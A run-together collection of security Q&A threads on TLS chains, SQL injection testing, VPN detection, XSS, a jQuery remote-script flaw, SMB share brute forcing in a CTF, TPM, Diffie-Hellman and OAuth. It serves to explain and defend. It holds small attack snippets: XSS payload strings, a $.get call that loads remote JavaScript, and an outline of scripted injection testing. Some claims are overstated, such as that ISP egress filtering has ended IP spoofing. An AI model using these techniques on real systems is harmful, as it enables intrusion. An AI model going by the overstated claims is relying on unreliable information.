If you run the following command, you will see that when the person managing TLS for the server replaced the leaf certificate (the certificate for the server himself), he did not replace the chain (the certificates of the Certifying Authorities that build the chain of trust).

echo |openssl s_client -connect www.prioenergie.de:443 -showcerts 2>&1 |grep -E '^ [0-9 ] (s|i):'

Specifically, the leaf certificate was issued by CN=thawte DV SSL CA - G2, but the first CA certificate in the chain handed back by the server is CN=Thawte DV SSL CA.

Chances are, the person managing the server tested it with Internet Explorer, which tries to be permissive with what it accepts by walking the AIA if the chain does not match, but which does not follow the TLS spec and which in uncompatible with the way most other TLS clients (other browsers like Firefox, OpenSSL, NSS, the Java TLS libraries, etc) behave.

I would recommend to contact the company and let them know they need to install the new chain provided by the Certifying Authority (Thawte).

At this point, you need to make the business decision. Do you lower your security posture to be able to do business with this company, based on the presumption that this is a configuration mistake? Or do you decide this is not an acceptable risk and only deal with the company via known acceptable channels, such as the phone/fax number printed in the phone book?


SQLMap on a seqential form There is a certain form that gets posted over POST. The form has some form elements. I am doing a pen-test on the application that has this form. The form values are being stored in a certain database. It's a PHP application and the interesting part, that I learned through some discussions with the developer who own that form, is that prepared statements are not being used to process the respective queries to handle the POST data coming through the form.

This made me suspicious and hopeful of finding a potential SQLi.

I am running SQLmap including a valid session and other form data. However, through a -v 5, I realized that SQLMap is actually getting a 302 redirect response for every single request. Through some further investigation, I realized that the form in question (say form3) is obtained after I follow the sequence

form1 --> form2 --> form3.

If I try accessing the form3 directly (even through the browser, post login of course), I am redirected back to form1. So I need to follow the above sequence strictly to be able to actually submit form3 data to be processed.

Is there a way I can automate this sequence in SQLmap? Or is there any way that I can test for the existence of a SQLi on form3 given the above scenario ?

Generally if you find an SQLi you don't need to map the whole database to prove the vulnerability, actually very little information is needed as proof. SQLmap is a great tool for what it's meant for, mapping databases, but it does have some limitations in usability.

Generally I'd advice to use a web application scanner to look for SQLi vectors, for example the OWASP ZAP proxy scanner. But in this case even scanners might be hard to configure to always do a series of valid requests before the target form is sent. Scanners have a large set of ready-made SQLi payloads and response analysis techniques and this is definitely a resource that should be used.

If all fails then a simple script and a list of SQLi strings could be used to do the job. Automating the two earlier forms to be sent with valid static input is easily done in most languages, especially if you don't need any part of the response. After this you can send the third form with an injected parameter. Now you can repeat this process for all the payloads until you get an interesting response. Anything slightly out of the ordinary is an interesting response.

Often an error message, a slightly different response or a difference in query duration is enough to mount a blind SQLi attack. This means that all the proof needed to show that the vulnerability exists is a series of (in this case) three requests that end up responding in a way that discloses information about the querying process. Given this one proof-of-concept series of requests an attacker could easily write a script that slowly extracts the whole database, you, as a tester don't actually need to do this.

If you are an experienced programmer you could leverage the libraries that are a part of the SQLmap project.


How do people know that IP address belongs to VPN? It seems that many servers know that I use VPN. They either block me completely or make me answer CAPTCHA etc.

I want to use VPN but seems that many hosts don't want their customers to use VPN. How do they know that I use VPN? And how could I use VPN without people knowing about it?

Your VPN-provider has a static IP address or maybe an IP address range. Due to this, destination hosts will be able to tell if you are using a VPN or have an IP address from another range not belonging to a VPN provider.
To use VPN without people knowing you are doing so, you would have to get a VPN endpoint IP address not listed in any VPN IP lists.


Can Machine Learning be utilized to identify and track IP Spoofing? "IP Spoofing" refers to changing source IP addresses so that the attack appears to be coming from someone else.
When the victim replies to the address, it goes back to the spoofed address and not to the attacker’s real address.

AI is not needed at all to identify IP spoofing, and the solution is trivial. It only needs the ISP to employ Egress Filtering on its side, and no client of him will be able to spoof any IP belonging to another ISP. Every ISP does this, and no spoofing exists anymore.
If Avocado Networks have the 123.123.123.0/24 block, and employs Egress Filtering, if any of its customers send a packet with a origin host 124.123.122.121, for example, the filter will detect a packet coming from an external network and drop it. The misbehaving client would only be able to spoof packets from the Avocado Networks block, and Avocado would find that client pretty fast.
Even if the "last mile" ISP does not employ it, the upstream ISP could, and alert Avocado Networks for IP spoofing coming from their networks, and threaten to throttle their connections until the spoofing ends. Avocado would have a big incentive to do so.
And IP spoofing on a TCP connection is possible on paper, but impossible in practice. SYN flooding is possible, but establishing a connection is not. UDP is easier, because there's no connection established - you just fire packets down the line. And Egress Filtering solves both IP spoofing over TCP and over UDP.


DOM based XSS: jQuery("#HiddenReferral").val(jQuery(location).attr('href')); DOM based XSS has been reported by Burp Suite and showed this query as vulnerable:

The application may be vulnerable to DOM-based cross-site scripting. Data is read from location and passed to jQuery() via the following statement:
jQuery("#HiddenReferral").val(jQuery(location).attr('href'));

The URL is pretty simple: http://publichost.com/technology-made-us-more-human
Is it exploitable?

No, I don't think you can use it for XSS. Since the possibly unsafe object is passed to val() you should be fine. That function sets the value attribute. Whatever you set the value attribute to, you can not make it execute code. Since it manipulates the DOM and not the HTML source, something like this is completely safe in JavaScript:

obj.value = '" onClick="evilCode();';
obj.value = '"><script>evilCode();</script>';

The main (but probably not only) jQuery DOM based XSS danger you should be on the lookout for is the html() function.

That said, don't trust the value of #HiddenReferral. An attacker could easily manipulate the value to be something else than what your code set it to.


Why is whatsapp using 6 digit codes for verification? My question is kind a simple. Why  does whatsapp use 6 digit codes to verify the device? They could also use 5 or 7+ digits and or alphanumeric characters.

Are there any reasons they chose exactly 6?

Why are there not less than 6 digits?

The longer the code, the harder it is to guess. One could argue that 4 is already enough if you discard the code after a failed attempt, but why should you throw away a little bit more security?

Why are there not more than 6 digits?

I think that's not related to security but to usability. WhatsApp tries to read the verification SMS automatically, but there are cases where the user has to enter the code manually. For example if the SMS takes long to receive, the app won't wait for it, but prompt you to enter it when you finally receive it.

Therefore the verification code should be easy to remember. Miller's law states that the number of objects an average human can hold in working memory is 7 ± 2. Seven digits would be a logical choice, but it's much easier to remember 6 digits, especially if you're distracted by your environment while using your mobile phone.

Conclusion

It's a compromise.


My site was hacked and the attacker got data from the config file A few days ago my website was hacked.
I found out that the 'hacker' ran queries directly into the database, so he somehow got access to my database credentials.

I'm using laravel 4 and the config file is stored outside the public_html folder into a .env.production.php file and it looks like this:

<?php
return array(

'DB_NAME' => 'database_name',
'DB_USER' => 'database_user',
'DB_PASS' => 'my_password',
'DB_SERVER' => 'localhost'); ?>

Accessing this file in the browser returns nothing, so how did the attackers got the data?
One theory would be that the hosting company got hacked (I'm on shared hosting. They deny that and I have reasons to believe them.

What other possiblities are there? Remote file inclusion? Local file inclusion?
I want to know what could cause the data in the config file to be compromised so I know what to check for in my application.

Your question can not be answered with the given information.

From what we know you might not even been hacked at all. You might start with telling us more about those queries and what do you mean by directly into the database. Remote access from other IP address or a query you can't find in your scripts? Those query might be from Laravel or a plugin.

Anyway it's impossible to tell how you got hacked without knowing your logs, PHP scripts and whatever is on this server. Even with root access it might not be possible to tell if the attacked cleaned up or your logging is not covering the attack vector.

First step would be to find the time of the attack and check log files at this time. If you can't find anything check the complete log. If you find something you don't understand google it or ask a question.

If you sure you got hacked, you might want to involve your hoster. They supposed to know there server and might have access to logs and tools you don't know about.


Is there a way to exploit jquery 1.12.4 vulnerability? According to https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=jquery+1.12.4 and https://snyk.io/test/npm/jquery/1.12.4, I see that jQuery 1.12.4 has medium serevrity vulnerability.

I checked on exploit-db and searchsploit to see if there's known exploit, but can't find nothing. Has someone an idea about how to exploit?

It automatically executes JavaScript received on AJAX requests.

Consider this example, which performs a GET request to a URL that the user can input.

$.get($("input").val())

Now, if the user inputs https://sakurity.com/jqueryxss, jQuery will recognize that as being JavaScript (because of the content type header) and execute it automatically. Executing JavaScript from other domains is effectively XSS, so the executed JavaScript can take over the session or change the page appearance.

This is only exploitable if you can trigger an AJAX request to a malicious JavaScript file.

I wrote a blog post about this: Libraries that evaluate remote JavaScript


How do I know/find out about Minecraft Server Vulnerabilities? I remember playing Minecraft (Java-we're only talking about Minecraft Java on the computer here) at like 13-14 years old, and having this server owner claim that the server has been hacked, and that attackers were able to gain extra privileges on Minecraft, like operator (in-game admin) status and such, as well as griefing (destroying other people's builds without permission) and other types of attacks.

But I have always wondered how the attackers did it, or if the server owner even knew what was going on. There are lots of mods and "tricks" out there on getting operator status, getting creative mode, blaw blaw blaw, but most of it, as far as I have seen, are either bogus mods (probably infested with malware for the player), or social engineering attacks.

Are there any legitimate attacks on the Minecraft server Java application itself, that would allow players to give themselves operator (admin) status? How would I go about finding the technical details of those attacks?

The social engineering attacks make sense, but I am still puzzled on how to figure out how the other attacks happened. Since it was a modded server, some of the griefing protections didn't work. Those attacks made sense. But I never understood about them getting administrator access though the Minecraft Java server. Maybe they SSH'd into the server? Maybe they hacked into Multicraft (a web-based control panel for Minecraft)? Maybe another application on the server, that wasn't Minecraft Server Java application? Maybe they exploited the Mojang account, by either having a bogus web page for the server owner to fill in the credentials, to get the password? That would still be a social engineering attack.

Minecraft servers have a feature called "online mode" which verifies the username and UUID of all players that connect to the server against the Minecraft authentication servers. This feature is enabled by default, and it's necessary to make sure players who connect are who they say they are. However, some servers disable this feature so that players with pirated copies of Minecraft can connect.
If the server did not have "online mode" enabled, then an attacker could connect to the server with any username/UUID. If they connected to the server with an operator's username/UUID, then the server would believe they were the operator and give them operator privileges.
The way to avoid this issue is to leave online mode on. If you must turn it off, then you can add an authentication plugin to the server, so players must type a password to confirm who they are, but this increases the effort for people to join the server each time.

In the distant past, the Minecraft server has on occasion had vulnerabilities that allowed people to spoof another player's username/UUID, but I believe those were all promptly fixed.


TPM2 generate Key pair according to PCR values I 'm finding a lot of information and i can't search the command. I need to execute a command, that create a key pair according to the PCR values, so in case of these pcr have not changed, always generate the same key pair, but if one of then change, the key will be diferent.

Please, anyone can help me?

You can't.

I'm assuming you want your TPM to generate a key deterministicly depending on PCR values. The TPM will always use TRNG entropy for key generation (except for the primary keys) (see TPM2 Spec Part 1 - 11.4.9 Key Generation).

What you could do in theory is generating the key outside the TPM and loading it afterwards. I really doubt that this is a good idea, though.

Also: I think basing a secret key on PCR values is not a good idea, either.

Edit: what you might want to actually do is sealing the key. Basically, that is having a security policy associated with that key which prevents using it when your PCRs do not have a known good value.


SOP for the CERT in case of hack activity I work at a University in the Information Systems Department and recently one of the web server was hacked. the hacker deleted certain databases and few websites were down.

In lieu to such events what are the SOPs or best practices to be adopted by CERT team to ensure future mitigations?

From what I understand you already have in place policies/procedures and all that stuff.

My advice is to take a look on Time Based Security (was written in 1999, but still gold).

The main formula for Time Based Security:

Pt>Dt+Rt

  If the amount of protection time (Pt) you offer is greater than the
  sum of the detection time (Dt) and reaction time (Rt), then your
  systems can be considered secure.

Based on that, try to improve your defence :),

Over the years, I realise, not only good firewalls or IDS can help me for a good security. An analytical thinking also help a lot, you just need to step back and look at what happen and try to see what you can improve. From my opinion a BIG percentage of the security problems are in procedures/policies and not on your firewalls/IDS.

https://www.hackinparis.com/slides/hip2k12/Winn-Keynote.pdf


What does hacker need to steal from my PC to compromise my Facebook session? I mean, when I tick the "remember me/this computer" button, I don't need to login again on this machine. So I guess it's because of cookies. So if someone would get on my PC, he could steal some files and put it into his browser to compromise my session. Is that possible?

The other answers are bad enough I've decided to post a clear answer...

  So if someone would get on my PC, he could steal some files and put it into his browser to compromise my session. Is that possible?

Yes, if someone has physical access to your machine, and you have not secured your data with something like full-disk encryption, yes, session hijacking would almost-certainly be possible.

Browsers store their user profiles (including session cookies) to disk somewhere, and anything stored to an unsecured disk can be copied to another disk. You can essentially clone a profile in this manner.

There may be some minor tricks or issues involved either on the browser's or the website's end, so it might be slightly more difficult than a simple copy-paste job, but the basic issue is the same. If someone has access to your data, they can copy it and use it to impersonate you.

Physical Access is Total Access:

Of course, when a malicious individual has access to your device, there are a number of other attacks they could perform, such as replacing hardware to add hardware keyloggers and so-forth. Physical security for your device is still important.


Explain the three versions of Diffie-Hellman used in SSL/TLS I understand how Diffie-Hellman algorithm can be used to agree on a common key between a client and server.
I am struggling to understand the three variations of Diffie_Hellman - Anonymous Diffie-Hellman, Fixed Diffie-Hellman and Ephemeral Diffie-Hellman.
Is DHE used along with AES for forward secrecy ? Can someone explain what these variations are and how they are used in TLS ?

These three variants of Diffie-Hellman all operate in roughly the same way.  In all three, the client and the server pick a random number (private key), compute a value (their public key) based on that random number, and then share that public key with the other side.
In anonymous Diffie-Hellman, neither side signs or otherwise authenticates their public key.  As a result, you can determine that you computed a shared secret with somebody, but not who that party is.  This leaves you vulnerable to a man-in-the-middle attack.  Usually this is also an ephemeral key exchange.
In fixed Diffie-Hellman, one side (usually the server) presents their public key in a certificate (usually signed by a certificate authority).  If this is a signed certificate, then the fact that owner of the certificate can negotiate a successful connection is proof that it controls the key and therefore authenticity is established.  However, because this key is fixed in a certificate, if the corresponding private key is leaked, all data generated using that key is compromised.
In ephemeral Diffie-Hellman, both sides generate a new, random public and private key each time.  The server (and the client, if they are authenticated) signs their Diffie-Hellman public key with the private key in the server certificate (which is usually RSA or ECDSA).  The fact that both sides can negotiate a connection successfully and the Diffie-Hellman public key is signed proves authenticity of the connection.  An attacker impersonating the server would be limited to reusing a previous signed DH public key sent by the server, but because it did not know the private key, it couldn't successfully negotiate a connection.  Because the Diffie-Hellman key material is fresh each time, as long as both sides discard their Diffie-Hellman private key when the connection is done, this provides perfect forward secrecy.
Anonymous Diffie-Hellman is not practically used these days since it provides no authentication.  For situations where authentication is not important, using a self-signed certificate is almost as easy.  Fixed Diffie-Hellman is not practically used in TLS because ephemeral Diffie-Hellman provides perfect forward secrecy and using that with an RSA or ECDSA certificate is easier and better supported.  However, fixed Diffie-Hellman remains useful in situations where the protocol is not online and thus ephemeral options are more difficult.
Much of this also applies to other protocols, such as SSH.  However, in the SSH protocol, the signature is not over the public key, but over a hash of the negotiated secret.  This is also a secure approach and also provides perfect forward secrecy.


Why Bash Shellshock vulnerability cannot be detected at webservers in advance? There are lots of posts regarding the shellshock vulnerability. I can understand the vulnerability in detail.

However, I'm curious about why any Intrusion detection system or host-based tools (e.g., antivirus systems) fails to detect it?

Some answers may include Snort does not have the appropriate signature, but at least there should be some other symptoms that network administrators should understand something going on abnormal in their network such as HTTP user agent string differs (host-based solutions checks that right?), the outbound traffic may increase abnormally, or number of processes or memory usage increase at the webservers than usual boundaries.

PS: This question is about the webservers that are vulnerable to shellshock attack. I mean by in advance that after a short time the attack is attempted by the attacker.

An antivirus solution will usually not detect it, because these programs only scan files. In case of the shellshock exploit, no files are written to the servers filesystem.

Depending on whether or not an intrusion detection system detects this attack depends on how uncommon the activity really is for the specific web application it is protecting, so there is no general answer for this.


Possible ways to intrigue IP blockage on practical websites Assume that I share the same IP address with others. Then if I can do something bad to intrigue practical websites, such as Google, Amazon, or jQuery to block me, then all other users will also be blocked as a "collateral damage".
I wonder how practical it is to really intrigue a real-world website to block my IP, assume that I am only limited to operation on the application layer?
I assume this situation in practice is not uncommon. Many small institutions use NAT to transfer internal IPs to a single external IP. For example, I share IP with others in Starbucks, McDonald's, or Hotels. Let's say I'm in a Hotel, as a malicious guest, how likely that I can do something bad, which can get unnoticed by the Hotel's Firewall or whatever abnormally detection mechanism, and really get myself (and the whole Hotel) banned by, say, Google? I'd say using Flooding is unlikely to work since I'll be easily identified by the Hotel. Is there any common "kill switch", which can trigger an external-facing Firewall but bypass an internal-facing one?

In general, it is uncommon to assign multiple people the same public IP address unless they share an institutional structure, such as a family, employer, or educational institution.  That isn't to say that it doesn't happen, since there have been reports of a Qatari ISP sending all its traffic through a small set of IPs and VPNs have this problem, but in general it's less common.
As a result, those institutions generally provide some sort of sanction to bad actors who cause problems.  For example, if you act inappropriately at the workplace, you may be fired and you can be held liable in court for any damages to the company caused by your inappropriate actions.  Usually targets of abuse are eager to help these institutions discover and sanction the responsible party because they want the abuse to stop.
I work for a major Internet site, and while it's certainly the case that a lot of low-level abuse may go unnoticed, when it does come to our attention, we act.  If the behavior is not urgent and the actor is known, we will often ask them to fix the problem, but we will block major abusers immediately without further notice if they cause availability concerns, sometimes sending an abuse report to their provider.  Sometimes this behavior occurs by accident as people frequently perform a normally rare activity very frequently and it's more expensive to our infrastructure than we expected, while still within rate limits.  A lot of abuse is just flagged by automated systems which restrict activities of the problematic users, and this kind of technique is frequent among large sites.
I suspect if you really want to do so, you can, in fact, get yourself blocked, and it may not even be very difficult.  You could simply create an automated system to inefficiently scrape user-visible web pages at high speed, which is a common problem for large sites.  I will point out that in all likelihood, if you do so, you will find yourself at the very least without future Internet access from the people with whom you share your IP, if not more significant sanctions.


How Symmetric key Occurs in SSH? How Symmetric Key occurs in SSH process?

As I think that the Asymmetric key used for the only Authentication but my main problem is "How Server generates the Symmetric Key which will use to do secure communication"?

Thumb rule If there's Symmetric key involved, there must a secure key exchange algorithm.

In cryptography whenever they say Symmetric key is used to accomplish something, there's a need for secure transmission of that symmetric or Same key between the parties communicating. Such key exchange is done prior to any actual data being encrypted-transferred to arrive on an agreement which binds both parties to use certain parameters to be used in transmission of actual data. As this is seems to be critical process, cryptography provides certain key exchange algorithm and the most popular one is Diffie-Hellman. Be it SSL, SSH or any other protocol involving Symmetric key, DH is present.

ts;dr: Read about Diffie-Hellman


What is the best way to organize OpenPGP keys? I've always used OpenPGP as a single private/public pair of keys for (S)igning and (E)ncryption.

But learning about OpenPGP subkeys, it's recommended to use separate keys for (C)ertification, (S)igning and (E)ncryption. As I understood, the  certification key is only used to create new subkeys. So what is the best way to use master key and subkeys? Why can't I use master key for (C),(S),(E), and why it's recommended to use separate keys for (S) and (E)?

One of the most secure and practical way to organize PGP keys is to use Subkey with offline Master Key.

In essence, with subkeys you can store your Master/(C)ertification key in an encrypted, trusted offline storage; and your day to day workstation only have the (S)igning and (E)ncryption key. You would only take out your (C) key when you need to sign or revoke your own or someone else's key, which usually happens much less often than regular signing and encrypting.

The reason why it's recommended to use separate (S) and (E) key is because many people uses multiple devices, and you can only have one (E) key in all your devices if you want to be able to read all your encrypted data from any one of your devices, but you can use multiple (S) key, one for each of your device, and all of your devices can still verify signatures because there is a trust chain to your master key.

Also, you can put shorter expirations on your subkeys. Master key is effectively non-expirable as you can always extend the expiry of a master key.

Note that newer version of GPG creates subkeys by default.


Do Xfinity hotspots require passwords? There's a Xfinity hotspot(xfinitywifi)that I see on my phone that I occasionally use for reasons but lately it has been acting up so I contacted Xfinity customer support. They asked for some stuff including the password for the hotspot. The thing is, the hotspot didn't have a password. Customer support tells me that I need a password to connect but I didn't need one. How is that possible? Additional info: my dad is a Xfinity internet user and the phone doesn't have a carrier but it connects to our router and the hotspot before it started acting up

Yes.  After you connect to the hotspot, you need to open your browser and sign-in using your Xfinity username and password.  See https://www.xfinity.com/support/articles/about-xfinity-wifi-internet.


Is the Shadow MBR used in SEDs a security vulnerability? I've been reading up on Self Encrypting Drives and I'm having trouble understanding how the Shadow MBR is not a security problem.

I found these slides which indicate that the Shadow MBR is stored in clear text (which makes sense because it needs to be presented before the password is given to unlock the drive). Give than, it seems like it should be vulnerable to the Evil Maid Attack on defeating whole disk encryption.

That post deals with software based FDE, but the principal should be the same: find the one piece of software that isn't encrypted and replace it with something malicious.

However, from this post, the Shadow MBR is supposed to be inaccessible:

  The MBR shadow is a 128 MB area that is totally “off the map”.  If the
  OS or a virus were to read each LBA on the drive from LBA 0 to MAX LBA
  it would still not to be able to see it or modify it.

Problem solved! Except, here is where things get confusing (for me). This post on unlocking SEDs, has this to say:

  When a SED is configured with pre-boot authentication, only the 128MB
  OPAL “MBR Shadow” volume is visible to the OS

So, which is it? Is the Shadow MBR totally "off the map" or is it the only thing visible to the OS? And, if it's visible and mountable at the OS level, what is to stop an attacker from replacing your PBA with their own?

The point is that the Shadow MBR is provided by the drive itself, so it could be made read-only (or, more likely, provided by firmware, and if the manufacturer did things properly, the firmware won't be writable in locked state¹). Still, albeit it makes the FDE-unlocking attack harder, an attacker could always put a SATA filter in front of the locked drive that performs the key stealing (the same procedure but with hardware instead of software).

¹ Note it will probably still by directly flashing the hardware chips, though.


How can I brute force an individual smb share? I am trying to complete a CTF and am presented with a machine that has several SMB shares, as found using metasploit auxiliary/scanner/smb/smb_enumshares.

- Windows XP Service Pack 3 (English)
- IPC$ - (I) Remote IPC
- Documents - (DS)
- ADMIN$ - (DS) Remote Admin
- C$ - (DS) Default share

I am trying to access the shares marked with a $ which are private and non accessible. I have tried using the smb_login, but as I am unable to specific an individual share from that list to target for a brute force scan, each time I try the scan finishes immediately with a message that the Documents share is anonymous, thus the brute force checking is useless (I understand why this is the case)

When I use smbclient to access the private shares, I am prompted for a password (which I don't have, hence the brute forcing). So my question is: Can I use smb_login or some other tool (preferably available on Linux) to brute force a particular share (eg  ADMIN$)?

The share access uses the SMB protocol, if you want to access these private shares you need to have the correct credentials.

I know that if your client is Windows , Anonymous credentials is passed if the current (yours) credentials does not has the permissions.

Linux by default is running Samba and there is one more product called NQE that is installed on a lot of machines, and i think these product are doing the same algorithm.

Summery:
Over SMB i don't think you can access these share, the SMB protocol protect this kind of "attacks"
Maybe you can try to access via NFS.


Does a TPM replace the default device's security, or add to it? Does a TPM replace the default device's security, or add to it?
I will try to re formulate it into 2 questions, just to explain what my question is, since I am not very good at English writing.
If we take randomness as a example:

Does the TPM replace the device's own ability to generate its own randomness?
(The randomness the device itself would have generated without the TPM)

or,

Does the TPM add it's randomness (thereby increasing the entropy of the device's own randomness?) to the device's default randomness?

I have searched around security stack exchange, as well as sent a mail to the company I bought the TPM from, which had no idea either. And recommended me to ask someone else. But I have not found any answers that would specifically answer if a TPM does this or not.
And, If the TPM does replace the default randomness or, key generation from the device, wouldn't that be much more insecure?
(for the risk of attacks, because of weak key generation, as stated in the Wikipedia article below) as a reference, the Wikipedia site about a TPM:

"In 2015, as part of the Snowden revelations, it was revealed that in
2010 a US CIA team claimed at an internal conference to have carried
out a differential power analysis attack against TPMs that was able to
extract secrets.[48][49]"  - [https://en.wikipedia.org/wiki/Trusted_Platform_Module][1]

Please, if you find any errors, or that this question could be placed in another site, need clarification - do not hesitate to say that/improve my question!
I appreciate it, thank you!

There is no single source of randomness on a device and there is no single way to create randomness, i.e. it is specific to the OS and maybe the OS version and maybe the OS configuration and maybe even the specific application. See for example TPM to feed random number generator for how to add (not replace) the TPM random generator as a source for randomness provided by /dev/random in Linux.


Is it safe for users of my API to 'Sign In With GitHub' using passport-github? I understand that OAuth2 was designed to delegate authorization grants to specific resources, it alone is not an authentication protocol. However, the passport-github README states,

This module lets you authenticate using GitHub in your Node.js applications. By plugging into Passport, GitHub authentication can be easily and unobtrusively integrated [...]
The GitHub authentication strategy authenticates users using a GitHub account and OAuth 2.0 tokens.

By using passport-github in my HelloAPI, end users would be directed to GitHub's authorization server to start the 3-legged authorization_code flow:

First the user authenticates with GitHub and grants limited access to HelloAPI.
GitHub redirects the user-agent (browser) back to HelloAPI using a pre-registered redirect_uri. The redirection URI includes an authorization code, and optionally, a state parameter for cross site request forgery detection.
HelloAPI quickly exchanges the code for an access token, using the client_secret as a means to authenticate HelloAPI with GitHub. (Here too, I should include a state parameter.)
And finally, HelloAPI uses the token to grab whatever GitHub profile is associated with that token.

Here we assume that the token was not created by some other client and subsequently replayed to HelloAPI as an attack to impersonate a GitHub resource owner. By checking the state parameter, I think that is a safe assumption, but https://oauth.net/articles/authentication/ warns against doing so:

OAuth APIs do not provide any mechanism of audience restriction for the returned information. In other words, it is very possible to take a naive client, hand it the (valid) token from another client, and have the naive client treat this as a "log in" event. After all, the token is valid and the call to the API will return valid user information. The problem is of course that the user hasn't done anything to prove that they're present, and in this case they haven't even authorized the naive client.

So this is my hesitation in using passport-github: It uses OAuth2 tokens for authentication which is exactly what the experts warn against. Including a state parameter seems to secure this server-to-server authorization_code flow, but I'm not sure.
What am I missing? Is passport-github authentication secure, or is there any way to make a "Sign In With GitHub" feature secure?

I don't believe that the GitHub OAuth2 implementation supports your use case to authenticate users, so from both a security and maintainability perspective I don't think it is a great idea. From the first paragraph of the documentation:

  OAuth2 is a protocol that lets external applications request authorization to private details in a user's GitHub account without getting their password.

My assumption in the discussion below is that the authorization code and access token in the GitHub OAuth2 implementation are opaque to your client.

In the GitHub scenario, we have the following OAuth roles:

Resource Server - GitHub server that provides profile information about users
Client - Your HelloAPI
Authorization Server - GitHub auth server
Resource Owner - Your application end user

The passport-github implementation authenticates a user by using the access token gained by your client as part of the OAuth2 flow and then requesting the user profile information from the GitHub resource server at https://api.github.com/user.

For example:

Joe Bloggs logs in to GitHub via the redirect from your client.
The access token that your client receives is opaque containing no information about the identity of Joe.
You make a request to the GitHub resource server from your client to retrieve the profile associated with the access token
Joe's profile is returned by the resource server and you assume that Joe is the entity that has presented the access token to your client.

The issue for me is that there is no direct 'evidence' as part of this process to ensure that the identity that authenticated to GitHub as part of the OAuth flow is the same identity that is returned in the profile information used to make your authentication decision in the app. For me this is a fail from an information integrity perspective, and so I would not consider this 'secure'.

Given that the passport-github implementation doesn't appear to be a supported authentication scenario by GitHub it also creates risk in the event that GitHub changes their implementation in any way. It is best to use supported protocols and use APIs for their intended purposes to ensure security and maintainability.


Question about the SessionLock paper Some time ago there was a big fuzz over Firesheep: by listening to wifi traffic your login session can be stolen which is very bad because now somebody can e.g. send emails on your behalf. Some people said that using SSL for the whole site was the only solution. But I didn't think this was true: if you can keep the password or equivalent stored on the client side, and you never send this to the server but rather authenticate every request you do with this password, then nobody can impersonate you (unless they know your password). For example when you do a HTTP request req, you instead do the request r + "?hmac=HMAC(password, req)" to prove that you know the password.

Then I came across a paper on a protocol called SessionLock, which is targeted at solving the same problem. It is a bit different than what I described above, and I have some questions about it.

First, why do they establish a shared secret over SSL or using the Diffie-Hellman protocol, when there already is a shared secret available (the password or a hashed version of the password)?

Second, about the version that uses Diffie-Hellman they say:

  If the browser loses its secret, it
  can re-perform a Diffie-Hellman key
  exchange with the server, using a
  number of XMLHttpRequest calls.

Can somebody explain how this works? Supposedly the client side didn't save the password, and it also lost the shared secret. So as far as I can see the client side knows nothing, yet he is able to re-establish a shared secret that can be used to do authenticated stuff. Wouldn't an attacker be able to do exactly the same? What am I missing?

Technically, you could use the password as the shared secret in SessionLock, but then the web site needs to store the password in the clear. So, as you suggest, you could use the password hash, but then the password hash suddenly becomes almost as good as the password itself, since knowing it is sufficient to set up a secure session with the server. So that's a pretty good reason not to use the password hash.

But mostly, my design goal, in SessionLock, was to not entangle the method of authentication with the security of the session. What about before you're logged in? I still don't want someone stealing my session. And what about on systems that use HTTP auth, or some other password-storage-and-checking abstraction that generally makes it difficult for your web app code to get at the password data, even its hash? Or a larger web site where login happens at login.*.com, and then a session cookie is set and that's it, the various service1.*.com, service2.*.com don't have the actual password.

For all of these little reasons, SessionLock doesn't tie its shared secret directly to the credentials.

And as other commenters mentioned, be careful. SessionLock only prevents passive network attackers from stealing your session. The payload is still readable by eavesdroppers, and you're out of luck against active network attackers.


Control access to public API I'm working on a public API for project X. System allows to register an app_id and call API methods providing it, as usual. Now, I need to develop an official mobile client for project X that should have a wider possibilities than unofficial ones built over this API.

In other words, let's think for example we have an API consisting of 5 GET methods. Now I'm going to implement 1 new PUT method and want to allow only 1 exact app_id to use it.

The security problem is that:

If I simply code the check for app_id, it will be easy to overcome, just sniffing the traffic or decompling the app to find this official app_id and then pretend it
Application is a mobile one, thus I can't limit access by IP
Public-key cryptography, where the public key is in the client and the private keys kept in secret by the server seems equal to the problem 1. for me, isn't it?

I do believe it is not a supernova problem, so kindly suggest any reliable solutions, please.

Put a challenge-response-system in the code - the server sends "12345", the client answers with "SHA256(12345+any-secret-key)". If the server knows the "secret key", it can check the hash.

That would stop people just sniffing the network data, but the app might still get decompiled.

If you want the app to send data, you need to make a "login" first - send a request, get a challenge "12345", compute the hash, send the hash and you are logged in and can continue.


Could YouTube downloaded videos be infected (by Youtube)? I downloaded Youtube videos, but found out just now it is illegal. I thought that if Mozilla page has add-on for that, it must be legal!

Could Youtube videos be infected? Could Youtube infect them to punish illegal downloading? I removed the add-on - should I delete those videos too to be safe?

If I use AVAST, Emsisoft Anti-Malware, Malwarebytes and SuperAntispyware Free Edition, will I be safe and find anything there is?

I'll never download anything from Youtube ever again!

To answer your 4 questions :

Could (downloaded) Youtube videos be infected?

Technically, yes, even if it is quite unlikely. In such a case a malicious video could infect you if it targets a specific player (and possibly a specific version). In such a case, a malicious actor would have uploaded a video in the hopes that someone downloads it and then plays it with a vulnerable version of a specific player.
Please note that technical treatments occur on Google's (Youtube's) side - such treatments could easily destroy the malicious content.

Could Youtube infect them to punish illegal downloading?

Technically, yes, but that would be illegal

I removed the add-on - should I delete those videos too to be safe?

To be lawful (and have morals), you should delete the videos for which you do not own the rights, if the videos you downloaded are protected. However if we are talking about being technically safe from infections, as mentioned in a previous bullet the chances that the videos contain working malicious code are slim. If you want risk-zero, delete them, even if the chances are very low

If I use AVAST, Emsisoft Anti-Malware, Malwarebytes and SuperAntispyware Free Edition, will I be safe and find anything there is?

Not necessarily. AV's cannot detect everything.

As comments pointed out, it is good to note that the add-on that you used could have triggered an infection. It is always a good idea to be very careful when downloading browser add-ons / extensions, especially if they are used for possibly illegal purposes (which means that there is a slightly higher chance that the add-on author is malicious)